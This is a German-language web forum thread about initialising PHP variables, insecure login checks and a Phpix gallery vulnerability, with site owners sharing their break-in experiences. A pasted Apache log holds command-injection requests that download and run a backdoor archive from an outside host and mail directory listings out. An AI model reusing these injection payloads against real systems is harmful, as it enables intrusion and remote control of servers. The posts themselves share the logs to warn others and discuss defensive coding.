RootForum Community

Relativity wrote:.mag sein das manche das faulheit an falscher stelle
nennen aber wieso soll ich eine variable leeren wenn
ich sie direkt danach wahlweise mit x oder mit y belege
und sie somit in jedem fall überschrieben wird, egal
ob da etwas (oder nix) drinnesteht.

Ganz einfach: So denkst du immer nach "Muss ich jetzt initialisieren oder nicht?" Irgendwann vergisst du es mal an der falschen Stelle und schon könnte sich daraus später ein Problem ergeben, oder du änderst was, was dann eine Intialisierung doch notwendig macht, du es aber nicht merkst.

Wenn du immer Variablen initialisierst, dann hast du das Problem nicht und hast immer einen definierten Ausgangszustand. Schütze dich einfach vor dir selbst. Du willst nicht wirklich Schrödingers Katze mit deinen Variablen spielen. Wenn du es immer machst, dann kann dir kein Fehler unterlaufen.

Wenn du Variablen definierst, dann initialisiere sie auch. Gehört übrigens auch zum guten Code, variablen immer zu definieren und nicht erst dann wenn man sie mal braucht... Aber das ist nen anderes Thema.

Ist genau dasgleiche wie mit den ganzen Buffer Overflows. Weil die Coder meinten, sie wüssten in welchem Bereich sich eine Eingabe befindet, haben sie keine Bereiche abgefragt: "Ist ja nicht nötig, ich weiss ja was da kommt, das reicht dicke". Das ist einfach Schlamperei, kostet beim Programmieren keine Zeit und langsamer wird's Programm nun nicht wirklich - die Zeiten der Lochkarten als Bits in Gold aufgewogen wurden sind lange vorbei.

Bei beiden Sachen wird das Programm nicht abstürzen und wenn es im normalen Einsatzbereich läuft auch keine anderen Probleme machen. Aber jemand mit böswilliger Absicht könnte diese Schlampigkeit ggf. mal ausnützen. Deswegen heisst es auch du brauchst nicht initialisieren, weil läuft schon (aber besser ist es trotzdem - mach mal die Warnings an). Geschlossene System gibt es nicht in freier Wildbahn und im Labor höchstens annähernd.

Dein Auto schliesst du ja auch ab und nicht nach dem Motto "Och ich schliesse es nur ab, wenn es mal ne üble Gegend ist". Irgendwann bist du mal in einer Gegend die gut aussiehst, sie ist es aber nicht - oder die bösen Jungs kommen in eine gute Gegend auf der Suche nach leichten Opfern, die meinen, sie hätten alles bedacht damit sie ihren Schlüssel so wenig wie möglich benutzen müssen - könnte sich ja abnützen. Tja, die Karre ist dann weg und der Schlüssel immernoch fast fabrikneu...

Es geht hier um gutes Programmieren und Stil, der von Anfang an zukünftige Fehler und Schwachstellen vermeidet.

BTW: @Captain: Wie kommst du eigentlich auf "glühende Bambusstäbchen"?

Weil das meiner bescheidenen Meinung nach uninitialisierten Variablen unter C gleichzusetzen ist. ;) Besser als scythe kann man's aber wohl kaum ausdrücken.

Cpt. Crunch?

Wäre dir dankbar wenn du mal schnell den code
hier, so ändern würdest wie du ihn machen würdest.
nur mal eben dein variablen initialisieren und deklarieren
einbauen, weil ich glaube das ich dich in irgendeiner weise
da missverstehe und dachte du willst auf was anderes hinaus.

if ($password == "blabla")
$allow_login = 1;

if ($allow_login == 1)
echo "[sehr geheime Daten]";

thx in advance.

Punkt 1: Wie gesagt, frag mich nichts über PHP. ;)

Punkt 2: An einem solch kleinen Codeschnipsel lässt sich (für mich) sinnvolle Variablendeklaration und -initialisierung nicht aufzeigen.

Ich bin beruflich im Bereich Software Qualitätssicherung tätig, kann zu diesem Thema also was aus der Praxis beisteuern:

- es gibt zu vielen Programmiersprachen, insbesondere zu C und C++, sogenannte Programmierrichtlinien, in denen unternehmensweit festgelegt sind, wie ein Entwickler Software zu entwickeln hat. Dazu gehört immer die Initialisierung von Variablen auf einen Ausgangswert.

- weiterhin gibt es Tools und Verfahren wie Code Reviews, in denen geprüft wird, ob diese Richtlinien auch immer eingehalten werden.

Meine Erfahrung ist: immer wenn man diese zwei simplen Grundsätze verletzt, spart man ein wenig Arbeitszeit - und etwas später wird es dann richtig teuer. Das gilt sowohl für kommerzielle Software als auch für Open Source Software.

Ob es für PHP auch Tools und Richtlinien gibt, ist mir nicht bekannt. Ich hab zumindest schon mal einen Artikel über safe programming mit PHP gesehen (in dem ebenfalls dringend empfohlen wurde, alle Variablen zu initialisieren).

Meinst du zufällig http://www.tldp.org/HOWTO/Secure-Progra ... index.html ? ;)

Das ist ein sehr interessantes HowTo, es sagt übrigens auch

and don't trust any variable you haven't explicitly set.

Ich glaube, der Artikel, den ich meinte, gab es irgendwo auf http://www.php.net.

variablen initialisieren kann ich der logik nach aber
auch mit dem unset() command machen, weil sie
somit ja ausser kraft gesetzt wird und ich sie danach
dann selbst setze (nur ein gedanke bitte korrigiert mich
wenn es da doch noch was anderes gibt)

Das kannst du machen, ist aber IMHO irgendwie der falsche Ansatz. Schon aufgrund der programmiertechnischen Standards würde ich lieber korrekt initialisieren, denn wenn man sich das angewöhnt, hat man es beim Umstieg auf "echte" Programmiersprachen leichter.

DarkSpirit wrote:Das kannst du machen, ist aber IMHO irgendwie der falsche Ansatz. Schon aufgrund der programmiertechnischen Standards würde ich lieber korrekt initialisieren, denn wenn man sich das angewöhnt, hat man es beim Umstieg auf "echte" Programmiersprachen leichter.

hmm da stellt sich mir nun die Frage was meinst du mit "korrekt"
initialisieren?

Ich werde mich mal an das "Schalterprinzip" (0 und 1) halten welches
hier vorgeschlagen wurde.

$allow_login = 0;
if ($password == "blabla")
$allow_login = 1;

if ($allow_login == 1)
echo "[sehr geheime Daten]";

Sollte man sie vorher noch deklarieren?

Hi Rel...

Prinzipiell kannst du Variablen auch mit "unset()" löschen, diese werden dann vom
PHP- Parser (also der Zend Engine) beim ersten setzen deklariert.

Pseudocode:

unset ($variable);
[...]
$variable = "irgendwoinmeinemSource";

Wir in etwa zu:
- Finde Speicherplatz von $variable
- Setze Speicherplatz von $variable auf "Garbage"
- Entferne $variable aus Variablentabelle

dann später die Zuweisung:
- Finde raus, dass $variable ein string ist
- Finde raus, ob $variable in der Variablentabelle steht
- Schreibe $variable in die Variablentabelle
- Finde irgendwo Speicherplatz für die Variable, mindestens aber 80 Byte
- Schreibe den String in diesen Speicherplatz

Wenn du ein

$variable = ""; am Anfang

und später ein
$variable = "tollerString"

machst, passiert in etwa folgendes:
- Finde raus, dass $variable ein String ist
- Schreibe $variable in Variablentabelle
- Alloziiere Speicher für $variable (Hmm... ist leer, nehmen wir 80 Byte)

und später:
- Finde raus, ob $variable schon in der Tabelle steht
- Steht drin, also einfach den Speicherplatz überschreiben.


Das ist jetzt ziemlich zusammengefrickelt, aber du solltest erkennen können, dass
letzteres wesentlich performanter ist, und ich hab mir auch nicht die Opcodes der
Zend Engine angeschaut, die bei sowas entstehen. ;)

Desweiteren ist es von Vorteil, Variablen mit entsprechenden Werten vorzuinitialisieren,
wenn man E_ALL an hat, da man eine Warnung erhält, wenn man am Anfang ein

$zahl = 0;

macht und später im Source ein

$zahl = "ZahlenString";

da die erste Zuweisung den Typ der Variablen deklariert, und du somit das
ungewollte Wiederverwenden von Variablen, oder das überschreiben von wichtigen
Variablen vermeidest.

Gruss,

Out

hmmm.. klingt logisch und einleuchtend.

vielen dank für die ausführlichen Erklärungen.
Denke werde meinen zukünftigen Code den ich schreibe
mit den neuen Erkenntnissen verbessern.


Vielen Dank euch allen.

So als zusätzliche Frage:

Der Fehler in Phpix bestand doch eigentlich darin, den Dateinamen in der URL und nicht per POST zu übergeben ... ansonsten hätte ja PHP ja wegen gpc_magic quotes (was bei den meisten ja an sein dürfte) die ´ ..´entfernt und der Exploit wäre ins leere gelaufen.

Oder habe ich das falsch verstanden?

Wirtsi

hi there..
sorry english only (im' italian)

so the son of a bithc came also to me..
213.233.72.151 - - [08/Feb/2004:19:13:51 +0100] "GET /alp/generated/Gite/Sardegna2002/P9150005__scaled_320.jpg HTTP/1.1" 200 28576 "http://www.devzone.eu.org/alp/?mode=vie ... 20&start=0" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)"
213.233.72.151 - - [08/Feb/2004:19:13:56 +0100] "GET /alp/?mode=view&album=Gite%2FSardegna2002&pic=P9150005.JPG&dispsize=`cd%20/var/tmp;%20wget%20plasture.go.ro/za.tgz;%20tar%20xzvf%20za.tgz;%20cd%20za;./zbind;ls%20-a%20|%20mail%20merlin_uta@yahoo.com`&start=0 HTTP/1.1" 200 2491 "-""Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)"
213.233.72.151 - - [08/Feb/2004:19:13:57 +0100] "GET /alp/generated/Gite/Sardegna2002/P9150005__scaled_`cd%20/var/tmp;%20wget%20plasture.go.ro/za.tgz;%20tar%20xzvf%20za.tgz;%20cd%20za;./zbind;ls%20-a%20|%20mail%20merlin_uta@yahoo.com`.jpg HTTP/1.1" 404 462 "http://www.devzone.eu.org/alp/?mode=vie ... m`&start=0" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)"
213.233.72.151 - - [08/Feb/2004:19:13:57 +0100] "GET /alp/generated/Gite/Sardegna2002/P9150004__scaled_80.jpg HTTP/1.1" 206 1355 "http://www.devzone.eu.org/alp/?mode=vie ... m`&start=0" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)"
213.233.72.151 - - [08/Feb/2004:19:14:02 +0100] "GET /alp/generated/Gite/Sardegna2002/P9150006__scaled_80.jpg HTTP/1.1" 200 15319 "http://www.devzone.eu.org/alp/?mode=vie ... m`&start=0" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)"

213.233.72.151.dial.xnet.ro

but got also form:
194.185.97.58 - - [16/Feb/2004:17:19:54 +0100] "GET /alp/?mode=view&album=Gite%2FMonteLivata2002&pic=1P6230018.JPG&dispsize=`cd%20/var/tmp;%20wget%20plasture.go.ro/za.tgz;%20tar%20xzvf%20za.tgz;%20cd%20za;./zbind`&start=0 HTTP/1.1" 200 2313 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
194.185.97.58 - - [16/Feb/2004:17:20:00 +0100] "GET /alp/generated/Gite/MonteLivata2002/1P6230018__scaled_`cd%20/var/tmp;%20wget%20plasture.go.ro/za.tgz;%20tar%20xzvf%20za.tgz;%20cd%20za;./zbind`.jpg HTTP/1.1" 404 432 "http://www.faillace.org/alp/?mode=view& ... d`&start=0" "Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)"
194.185.97.58 - - [16/Feb/2004:19:57:12 +0100] "GET /alp/?mode=view&album=Parenti%2FLeonardo&pic=Claudia+e+Leonardo+2.jpg&dispsize=`cd%20/tmp;%20wget%20plasture.go.ro/za.tgz;%20tar%20xzvf%20za.tgz;%20cd%20za;./zbind`&start=0 HTTP/1.1" 200 2209 "-" "Mozilla/4.0 (compatible; MSIE 5.0;Windows 98; DigExt)"
194.185.97.58 - - [16/Feb/2004:19:57:15 +0100] "GET /alp/generated/Parenti/Leonardo/Claudia%20e%20Leonardo%202__scaled_`cd%20/tmp;%20wget%20plasture.go.ro/za.tgz;%20tar%20xzvf%20za.tgz;%20cd%20za;./zbind`.jpg HTTP/1.1" 404 435 "http://www.faillace.org/alp/?mode=view& ... d`&start=0" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"

gmoboutz4.net.vodafone.it

anyway:
protect

passwd
newgrp
wget
gcc

wget should be removed actualy..
then-- why put a compiler on a webserver?
Bye:-)

Obviously the same guy! :)

DarkSpirit wrote:

Code: Select all

if ($password == "blabla")
{
     $allow_login = 1;
}

if ($allow_login==1)
{
     echo "[sehr geheime Daten]";
}

...bei einem komplexen Script sieht man auch als guter Programmierer nicht jede solcher Lücken direkt...

Ein guter Programmierer, würde niemals einen solch schlechten Code fabrizieren.

Sorry aber wenn man sauber programmiert, dann hat man 5 mal mehr Quelltext, wo jeder schrott (wenns auch noch so unsinnig aussieht) abgefragt wird. Nur ist bei der Programmiersprache PHP eben soviel Pfusch möglich, dass viele Programmierer faul werden, nicht sauber programmieren und einfach nur schlechten Code fabrizieren.

Gruß
Michael

Ã?h, genau das haben ich und andere doch versucht klarzustellen ;)

DarkSpirit wrote:Ã?h, genau das haben ich und andere doch versucht klarzustellen ;)

öhh sorry dann betrachtet mein posting als gegenstandslos..
ich hab dein letzten post so interpretiert, wie er da stand. Nämlich, dass ein guter Programmierer solche Kleinigkeiten auch übersieht.

Aber gute Programmierer machen eben nicht solche kleinen Fehler =)

Ich könnte jetzt noch viel über gute bzw. saubere programmierung schreiben, aber das ist dann off topic und würde einfach den Rahmen sprengen...

Gruß
Michael

Was ein Zufall, ich glaube der gleiche war bei mir auch, auch wenn er es bei mir etwas leichter hatte.

Meine Haupt-HP hatte damals einen Aufruf von wegen:

http://bla.de/index.php?page=irgendwas.php

er hat es dann so abgeändert, das er dann anstatt irgendwas.php eine php-seite von einem anderen webserver nahm, in der system()-Aufrufe waren, um in die shell zu kommen (SafeMode war natürlich aus :-/ ).
Nächster Schritt: Er schaut nach meiner Kernel-Version und sieht: schicker alter Standart SuSe 8.1-Kernel (2.4.21) und hat sich root-rechte verschafft und ein rootkit installiert (habe bis dahin noch nie etwas von denen gehört).

Am nächsten Morgen: Ich schaue nach meiner HP und sehe, der Apache läuft irgendwie nicht richtig. Ich also eingeloggt und versucht Apache neu zu starten. Ergebniss: Post 80 ist bereits belegt. Also mich quer durch netstat gewühlt um zu sehen, was da den Port belegt. Und da kam dann ein prozess raus, den ich gar nicht kannte (nt??). Ich also in google gesucht, was das ist und bin auf Rootkits gestoßen. Chkrootkit installiert und ausgeführt. Ergebiss: Querbeet alles mögliche Infiziert. Ich also das Rootkit in mühevoller kleinarbeit wieder entfernt.

Am gleichen Abend kam mir dann eine Idee (mehr aus Spaß und lageweile, hätte nie gedacht, dass das was wird). Ich habe geschaut auf welchem Port die Root-Shell von ihm gelaufen ist und mir ein kleines TCL-Script programmiert, was an dem Port horcht und sobald jemand versucht an den Port was zu senden einen Text von wegen: "Ich habe deine IP: etweder du kooperierst und sendest eine mail an xxx@bla.de oder ich zeig dich an" (auf englisch natürlich) an den Angreifer zu senden, die IP zu speichern und sich zu beenden. Da ich früher auch mal am Rande der Script-Kiddie-Scene war, wusste ich, das ein Angreifer in den meisten Fällen nur beim ersten Angriff seine IP durch einen Proxie versteckt, aber nach dem Infizieren das nicht mehr für Nötig hällt.
Am nächsten Morgen habe ich dann wieder auf meinen Server geschaut. Wie gesagt, ich hätte nie gedacht, das der nochmal wiederkommt, geschweige denn, meine RAW-Nachricht zu erhalten.
Aber siehe da, es war eine IP gespeichert und das Script Beendet.
Gleich ins Postfach geschaut und siehe da, eine Mysteriöse Mail. Er hat mir dann seine Hilfe angeboten und mir gesagt, wie er aufs System gekommen ist, was ich alles gleich gefixt habe.

Seitdem update ich auch Regelmäßig meine Kernels (wer weis, wann der nächste Hacker anklopft :) )


Aber da sieht man mal, wie schnell der "Jäger" zum "Gejagten" werden kann :)

Sehr vertrauensselige Vorgehensweise - ich wär' zu paranoid, um die Maschine nicht noch einmal frisch aufzusetzen.

Bei der von Dir beschriebenen Reaktion des Skript-Kiddies bleibt mir schon ein wenig Spucke weg ... ;)

Naja, versetz dich mal in seine Lage:

Er hat mindestens einen Server gehackt, bekommt mitgeteilt, das seine IP geloggt wurde und bekommt mit einer Anzeige gedroht. Da würde schnell mal einer etwas klein werden, vor allem, wenn man erst 14 oder 15 ist.